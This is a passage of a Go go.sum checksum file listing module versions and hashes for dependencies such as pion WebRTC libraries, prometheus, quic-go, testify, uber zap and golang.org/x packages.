github.com/pion/datachannel v1.5.8/go.mod h1:PgmdpoaNBLX9HNzNClmdki4DYW5JtI7Yibu8QzbL3tI=
github.com/pion/dtls/v2 v2.2.7/go.mod h1:8WiMkebSHFD0T+dIU+UeBaoV7kDhOW5oDCzZ7WZ/F9s=
github.com/pion/dtls/v2 v2.2.12 h1:KP7H5/c1EiVAAKUmXyCzPiQe5+bCJrpOeKg/L05dunk=
github.com/pion/dtls/v2 v2.2.12/go.mod h1:d9SYc9fch0CqK90mRk1dC7AkzzpwJj6u2GU3u+9pqFE=
github.com/pion/ice/v2 v2.3.34 h1:Ic1ppYCj4tUOcPAp76U6F3fVrlSw8A9JtRXLqw6BbUM=
github.com/pion/ice/v2 v2.3.34/go.mod h1:mBF7lnigdqgtB+YHkaY/Y6s6tsyRyo4u4rPGRuOjUBQ=
github.com/pion/interceptor v0.1.30 h1:au5rlVHsgmxNi+v/mjOPazbW1SHzfx7/hYOEYQnUcxA=
github.com/pion/interceptor v0.1.30/go.mod h1:RQuKT5HTdkP2Fi0cuOS5G5WNymTjzXaGF75J4k7z2nc=
github.com/pion/logging v0.2.2 h1:M9+AIj/+pxNsDfAT64+MAVgJO0rsyLnoJKCqf//DoeY=
github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms=
github.com/pion/mdns v0.0.12 h1:CiMYlY+O0azojWDmxdNr7ADGrnZ+V6Ilfner+6mSVK8=
github.com/pion/mdns v0.0.12/go.mod h1:VExJjv8to/6Wqm1FXK+Ii/Z9tsVk/F5sD/N70cnYFbk=
github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA=
github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8=
github.com/pion/rtcp v1.2.12/go.mod h1:sn6qjxvnwyAkkPzPULIbVqSKI5Dv54Rv7VG0kNxh9L4=
github.com/pion/rtcp v1.2.14 h1:KCkGV3vJ+4DAJmvP0vaQShsb0xkRfWkO540Gy102KyE=
github.com/pion/rtcp v1.2.14/go.mod h1:sn6qjxvnwyAkkPzPULIbVqSKI5Dv54Rv7VG0kNxh9L4=
github.com/pion/rtp v1.8.3/go.mod h1:pBGHaFt/yW7bf1jjWAoUjpSNoDnw98KTMg+jWWvziqU=
github.com/pion/rtp v1.8.9 h1:E2HX740TZKaqdcPmf4pw6ZZuG8u5RlMMt+l3dxeu6Wk=
github.com/pion/rtp v1.8.9/go.mod h1:pBGHaFt/yW7bf1jjWAoUjpSNoDnw98KTMg+jWWvziqU=
github.com/pion/sctp v1.8.33 h1:dSE4wX6uTJBcNm8+YlMg7lw1wqyKHggsP5uKbdj+NZw=
github.com/pion/sctp v1.8.33/go.mod h1:beTnqSzewI53KWoG3nqB282oDMGrhNxBdb+JZnkCwRM=
github.com/pion/sdp/v3 v3.0.9 h1:pX++dCHoHUwq43kuwf3PyJfHlwIj4hXA7Vrifiq0IJY=
github.com/pion/sdp/v3 v3.0.9/go.mod h1:B5xmvENq5IXJimIO4zfp6LAe1fD9N+kFv+V/1lOdz8M=
github.com/pion/srtp/v2 v2.0.20 h1:HNNny4s+OUmG280ETrCdgFndp4ufx3/uy85EawYEhTk=
github.com/pion/srtp/v2 v2.0.20/go.mod h1:0KJQjA99A6/a0DOVTu1PhDSw0CXF2jTkqOoMg3ODqdA=
github.com/pion/stun v0.6.1 h1:8lp6YejULeHBF8NmV8e2787BogQhduZugh5PdhDyyN4=
github.com/pion/stun v0.6.1/go.mod h1:/hO7APkX4hZKu/D0f2lHzNyvdkTGtIy3NDmLR7kSz/8=
github.com/pion/transport/v2 v2.2.1/go.mod h1:cXXWavvCnFF6McHTft3DWS9iic2Mftcz1Aq29pGcU5g=
github.com/pion/transport/v2 v2.2.3/go.mod h1:q2U/tf9FEfnSBGSW6w5Qp5PFWRLRj3NjLhCCgpRK4p0=
github.com/pion/transport/v2 v2.2.4/go.mod h1:q2U/tf9FEfnSBGSW6w5Qp5PFWRLRj3NjLhCCgpRK4p0=
github.com/pion/transport/v2 v2.2.10 h1:ucLBLE8nuxiHfvkFKnkDQRYWYfp8ejf4YBOPfaQpw6Q=
github.com/pion/transport/v2 v2.2.10/go.mod h1:sq1kSLWs+cHW9E+2fJP95QudkzbK7wscs8yYgQToO5E=
github.com/pion/transport/v3 v3.0.1/go.mod h1:UY7kiITrlMv7/IKgd5eTUcaahZx5oUN3l9SzK5f5xE0=
github.com/pion/transport/v3 v3.0.7 h1:iRbMH05BzSNwhILHoBoAPxoB9xQgOaJk+591KC9P1o0=
github.com/pion/transport/v3 v3.0.7/go.mod h1:YleKiTZ4vqNxVwh77Z0zytYi7rXHl7j6uPLGhhz9rwo=
github.com/pion/turn/v2 v2.1.3/go.mod h1:huEpByKKHix2/b9kmTAM3YoX6MKP+/D//0ClgUYR2fY=
github.com/pion/turn/v2 v2.1.6 h1:Xr2niVsiPTB0FPtt+yAWKFUkU1eotQbGgpTIld4x1Gc=
github.com/pion/turn/v2 v2.1.6/go.mod h1:huEpByKKHix2/b9kmTAM3YoX6MKP+/D//0ClgUYR2fY=
github.com/pion/webrtc/v3 v3.3.0 h1:Rf4u6n6U5t5sUxhYPQk/samzU/oDv7jk6BA5hyO2F9I=
github.com/pion/webrtc/v3 v3.3.0/go.mod h1:hVmrDJvwhEertRWObeb1xzulzHGeVUoPlWvxdGzcfU0=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/polydawn/refmt v0.89.0 h1:ADJTApkvkeBZsN0tBTx8QjpD9JkmxbKp0cxfr9qszm4=
github.com/polydawn/refmt v0.89.0/go.mod h1:/zvteZs/GwLtCgZ4BL6CBsk9IKIlexP43ObX9AxTqTw=
github.com/prometheus/client_golang v0.8.0/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v1.20.0 h1:jBzTZ7B099Rg24tny+qngoynol8LtVYlA2bqx3vEloI=
github.com/prometheus/client_golang v1.20.0/go.mod h1:PIEt8X02hGcP8JWbeHyeZ53Y/jReSnHgO035n//V5WE=
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E=
github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY=
github.com/prometheus/common v0.0.0-20180801064454-c7de2306084e/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro=
github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G1dc=
github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8=
github.com/prometheus/procfs v0.0.0-20180725123919-05ee40e3a273/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc=
github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk=
github.com/quic-go/qpack v0.4.0 h1:Cr9BXA1sQS2SmDUWjSofMPNKmvF6IiIfDRmgU0w1ZCo=
github.com/quic-go/qpack v0.4.0/go.mod h1:UZVnYIfi5GRk+zI9UMaCPsmZ2xKJP7XBUvVyT1Knj9A=
github.com/quic-go/quic-go v0.46.0 h1:uuwLClEEyk1DNvchH8uCByQVjo3yKL9opKulExNDs7Y=
github.com/quic-go/quic-go v0.46.0/go.mod h1:1dLehS7TIR64+vxGR70GDcatWTOtMX2PUtnKsjbTurI=
github.com/quic-go/webtransport-go v0.8.0 h1:HxSrwun11U+LlmwpgM1kEqIqH90IT4N8auv/cD7QFJg=
github.com/quic-go/webtransport-go v0.8.0/go.mod h1:N99tjprW432Ut5ONql/aUhSLT0YVSlwHohQsuac9WaM=
github.com/raulk/go-watchdog v1.3.0 h1:oUmdlHxdkXRJlwfG0O9omj8ukerm8MEQavSiDTEtBsk=
github.com/raulk/go-watchdog v1.3.0/go.mod h1:fIvOnLbF0b0ZwkB9YU4mOW9Did//4vPZtDqv66NfsMU=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
github.com/shurcooL/component v0.0.0-20170202220835-f88ec8f54cc4/go.mod h1:XhFIlyj5a1fBNx5aJTbKoIq0mNaPvOagO+HjB3EtxrY=
github.com/shurcooL/events v0.0.0-20181021180414-410e4ca65f48/go.mod h1:5u70Mqkb5O5cxEA8nxTsgrgLehJeAw6Oc4Ab1c/P1HM=
github.com/shurcooL/github_flavored_markdown v0.0.0-20181002035957-2122de532470/go.mod h1:2dOwnU2uBioM+SGy2aZoq1f/Sd1l9OkAeAUvjSyvgU0=
github.com/shurcooL/go v0.0.0-20180423040247-9e1955d9fb6e/go.mod h1:TDJrrUr11Vxrven61rcy3hJMUqaf/CLWYhHNPmT14Lk=
github.com/shurcooL/go-goon v0.0.0-20170922171312-37c2f522c041/go.mod h1:N5mDOmsrJOB+vfqUK+7DmDyjhSLIIBnXo9lvZJj3MWQ=
github.com/shurcooL/gofontwoff v0.0.0-20180329035133-29b52fc0a18d/go.mod h1:05UtEgK5zq39gLST6uB0cf3NEHjETfB4Fgr3Gx5R9Vw=
github.com/shurcooL/gopherjslib v0.0.0-20160914041154-feb6d3990c2c/go.mod h1:8d3azKNyqcHP1GaQE/c6dDgjkgSx2BZ4IoEi4F1reUI=
github.com/shurcooL/highlight_diff v0.0.0-20170515013008-09bb4053de1b/go.mod h1:ZpfEhSmds4ytuByIcDnOLkTHGUI6KNqRNPDLHDk+mUU=
github.com/shurcooL/highlight_go v0.0.0-20181028180052-98c3abbbae20/go.mod h1:UDKB5a1T23gOMUJrI+uSuH0VRDStOiUVSjBTRDVBVag=
github.com/shurcooL/home v0.0.0-20181020052607-80b7ffcb30f9/go.mod h1:+rgNQw2P9ARFAs37qieuu7ohDNQ3gds9msbT2yn85sg=
github.com/shurcooL/htmlg v0.0.0-20170918183704-d01228ac9e50/go.mod h1:zPn1wHpTIePGnXSHpsVPWEktKXHr6+SS6x/IKRb7cpw=
github.com/shurcooL/httperror v0.0.0-20170206035902-86b7830d14cc/go.mod h1:aYMfkZ6DWSJPJ6c4Wwz3QtW22G7mf/PEgaB9k/ik5+Y=
github.com/shurcooL/httpfs v0.0.0-20171119174359-809beceb2371/go.mod h1:ZY1cvUeJuFPAdZ/B6v7RHavJWZn2YPVFQ1OSXhCGOkg=
github.com/shurcooL/httpgzip v0.0.0-20180522190206-b1c53ac65af9/go.mod h1:919LwcH0M7/W4fcZ0/jy0qGght1GIhqyS/EgWGH2j5Q=
github.com/shurcooL/issues v0.0.0-20181008053335-6292fdc1e191/go.mod h1:e2qWDig5bLteJ4fwvDAc2NHzqFEthkqn7aOZAOpj+PQ=
github.com/shurcooL/issuesapp v0.0.0-20180602232740-048589ce2241/go.mod h1:NPpHK2TI7iSaM0buivtFUc9offApnI0Alt/K8hcHy0I=
github.com/shurcooL/notifications v0.0.0-20181007000457-627ab5aea122/go.mod h1:b5uSkrEVM1jQUspwbixRBhaIjIzL2xazXp6kntxYle0=
github.com/shurcooL/octicon v0.0.0-20181028054416-fa4f57f9efb2/go.mod h1:eWdoE5JD4R5UVWDucdOPg1g2fqQRq78IQa9zlOV1vpQ=
github.com/shurcooL/reactions v0.0.0-20181006231557-f2e0b4ca5b82/go.mod h1:TCR1lToEk4d2s07G3XGfz2QrgHXg4RJBvjrOozvoWfk=
github.com/shurcooL/sanitized_anchor_name v0.0.0-20170918181015-86672fcb3f95/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
github.com/shurcooL/users v0.0.0-20180125191416-49c67e49c537/go.mod h1:QJTqeLYEDaXHZDBsXlPCDqdhQuJkuw4NOtaxYe3xii4=
github.com/shurcooL/webdavfs v0.0.0-20170829043945-18c3829fa133/go.mod h1:hKmq5kWdCj2z2KEozexVbfEZIWiTjhE0+UjmZgPqehw=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/smartystreets/assertions v1.2.0 h1:42S6lae5dvLc7BrLu/0ugRtcFVjoJNMC/N3yZFZkDFs=
github.com/smartystreets/assertions v1.2.0/go.mod h1:tcbTF8ujkAEcZ8TElKY+i30BzYlVhC/LOxJk7iOWnoo=
github.com/smartystreets/goconvey v1.7.2 h1:9RBaZCeXEQ3UselpuwUQHltGVXvdwm6cv1hgR6gDIPg=
github.com/smartystreets/goconvey v1.7.2/go.mod h1:Vw0tHAZW6lzCRk3xgdin6fKYcG+G3Pg9vgXWeJpQFMM=
github.com/sourcegraph/annotate v0.0.0-20160123013949-f4cad6c6324d/go.mod h1:UdhH50NIW0fCiwBSr0co2m7BnFLdv4fQTgdqdJTHFeE=
github.com/sourcegraph/syntaxhighlight v0.0.0-20170531221838-bd320f5d308e/go.mod h1:HuIsMU8RRBOtsCgI77wP899iHVBQpCmg4ErYMZB+2IA=
github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI=
github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07/go.mod h1:kDXzergiv9cbyO7IOYJZWg1U88JhDg3PB6klq9Hg2pA=
github.com/urfave/cli v1.22.2/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
github.com/urfave/cli v1.22.10/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
github.com/viant/assertly v0.4.8/go.mod h1:aGifi++jvCrUaklKEKT0BU95igDNaqkvz+49uaYMPRU=
github.com/viant/toolbox v0.24.0/go.mod h1:OxMCG57V0PXuIP2HNQrtJf2CjqdmbrOx5EkMILuUhzM=
github.com/warpfork/go-wish v0.0.0-20220906213052-39a1cc7a02d0 h1:GDDkbFiaK8jsSDJfjId/PEGEShv6ugrt4kYsC5UIDaQ=
github.com/warpfork/go-wish v0.0.0-20220906213052-39a1cc7a02d0/go.mod h1:x6AKhvSSexNrVSrViXSHUEbICjmGXhtgABaHIySUSGw=
github.com/whyrusleeping/go-keyspace v0.0.0-20160322163242-5b898ac5add1 h1:EKhdznlJHPMoKr0XTrX+IlJs1LH3lyx2nfr1dOlZ79k=
github.com/whyrusleeping/go-keyspace v0.0.0-20160322163242-5b898ac5add1/go.mod h1:8UvriyWtv5Q5EOgjHaSseUEdkQfvwFv1I/In/O2M9gc=
github.com/wlynxg/anet v0.0.3/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
github.com/wlynxg/anet v0.0.4 h1:0de1OFQxnNqAu+x2FAKKCVIrnfGKQbs7FQz++tB0+Uw=
github.com/wlynxg/anet v0.0.4/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
go.opencensus.io v0.18.0/go.mod h1:vKdFvxhtzZ9onBp9VKHK8z/sRpBMnKAsufL7wlDrCOA=
go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0=
go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo=
go.opentelemetry.io/otel v1.16.0 h1:Z7GVAX/UkAXPKsy94IU+i6thsQS4nb7LviLpnaNeW8s=
go.opentelemetry.io/otel v1.16.0/go.mod h1:vl0h9NUa1D5s1nv3A5vZOYWn8av4K8Ml6JDeHrT/bx4=
go.opentelemetry.io/otel/metric v1.16.0 h1:RbrpwVG1Hfv85LgnZ7+txXioPDoh6EdbZHo26Q3hqOo=
go.opentelemetry.io/otel/metric v1.16.0/go.mod h1:QE47cpOmkwipPiefDwo2wDzwJrlfxxNYodqc4xnGCo4=
go.opentelemetry.io/otel/trace v1.16.0 h1:8JRpaObFoW0pxuVPapkgH8UhHQj+bJW8jJsCZEu5MQs=
go.opentelemetry.io/otel/trace v1.16.0/go.mod h1:Yt9vYq1SdNz3xdjZZK7wcXv1qv2pwLkqr2QVwea0ef0=
go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/dig v1.18.0 h1:imUL1UiY0Mg4bqbFfsRQO5G4CGRBec/ZujWTvSVp3pw=
go.uber.org/dig v1.18.0/go.mod h1:Us0rSJiThwCv2GteUN0Q7OKvU7n5J4dxZ9JKUXozFdE=
go.uber.org/fx v1.22.2 h1:iPW+OPxv0G8w75OemJ1RAnTUrF55zOJlXlo1TbJ0Buw=
go.uber.org/fx v1.22.2/go.mod h1:o/D9n+2mLP6v1EG+qsdT1O8wKopYAsqZasju97SDFCU=
go.uber.org/goleak v1.1.11-0.20210813005559-691160354723/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.uber.org/mock v0.4.0 h1:VcM4ZOtdbR4f6VXfiOpwpVJDL6lCReaZ6mw31wqh7KU=
go.uber.org/mock v0.4.0/go.mod h1:a6FSlNadKUHUa9IP5Vyt1zh4fC7uAwxMutEAscFbkZc=
go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA=
go.uber.org/zap v1.16.0/go.mod h1:MA8QOfq0BHJwdXa996Y4dYkAqRKB8/1K1QMMZVaNZjQ=
go.uber.org/zap v1.19.1/go.mod h1:j3DNczoxDZroyBnOT1L/Q79cfUMGZxlv/9dzN7SM1rI=
go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8=
go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E=
go4.org v0.0.0-20180809161055-417644f6feb5/go.mod h1:MkTOUMDaeVYJUOUsaDXIhWPZYa1yOyC1qaOBpL57BhE=
golang.org/x/build v0.0.0-20190111050920-041ab4dc3f9d/go.mod h1:OWs+y06UdEOHN4y+MfF/py+xQ/tYqIWW03b70/CG9Rw=
golang.org/x/crypto v0.0.0-20181030102418-4d3f4d9ffa16/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190313024323-a1f597ede03a/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200602180216-279210d13fed/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.8.0/go.mod h1:mRqEX+O9/h5TFCrQhkgjo2yKi0yYA+9ecGkdQoHrywE=
golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw=
golang.org/x/crypto v0.18.0/go.mod h1:R0j02AL6hcrfOiy9T4ZYp/rcWeMxM3L6QYxlOuEG1mg=
golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw=
golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20240808152545-0cdaa3abc0fa h1:ELnwvuAXPNtPk1TJRuGkI9fDTwym6AYBu0qzT8AcHdI=
golang.org/x/exp v0.0.0-20240808152545-0cdaa3abc0fa/go.mod h1:akd2r19cwCdwSwWeIdzYQGa/EZZyqcOdwWiwj5L5eKQ=
golang.org/x/lint v0.0.0-20180702182130-06c8688daad7/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.20.0 h1:utOm6MM3R3dnawAiJgn0y+xvuYRsm1RKM/4giyfDgV0=
golang.org/x/mod v0.20.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181029044818-c44066c5c816/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181106065722-10aee1819953/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
